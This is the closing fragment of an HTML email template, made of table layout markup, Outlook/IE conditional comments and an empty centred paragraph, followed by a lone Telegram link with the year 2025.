																	<!--[if (mso)|(IE)]></tr></table></td></tr></table><![endif]-->
																</div>
															</div>

														</td>
													</tr>
												</tbody>
											</table>

											<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
												<tbody>
													<tr>
														<td style="overflow-wrap:break-word;word-break:break-word;padding:10px 10px 30px;font-family:arial,helvetica,sans-serif;" align="left">

															<div style="font-size: 14px; color: #ffffff; line-height: 190%; text-align: center; word-wrap: break-word;">
																<p style="font-size: 14px; line-height: 190%;"><span style="font-size: 16px; line-height: 30.4px;"></span></p>
															</div>

														</td>
													</tr>
												</tbody>
											</table>

											<!--[if (!mso)&(!IE)]><!-->
										</div><!--<![endif]-->
									</div>
								</div>
								<!--[if (mso)|(IE)]></td><![endif]-->
								<!--[if (mso)|(IE)]></tr></table></td></tr></table><![endif]-->
							</div>
						</div>
					</div>


					<!--[if (mso)|(IE)]></td></tr></table><![endif]-->
				</td>
			</tr>
		</tbody>
	</table>
	<!--[if mso]></div><![endif]-->
	<!--[if IE]></div><![endif]-->
</body>

</html>

https://t.me/RX1948 - 2025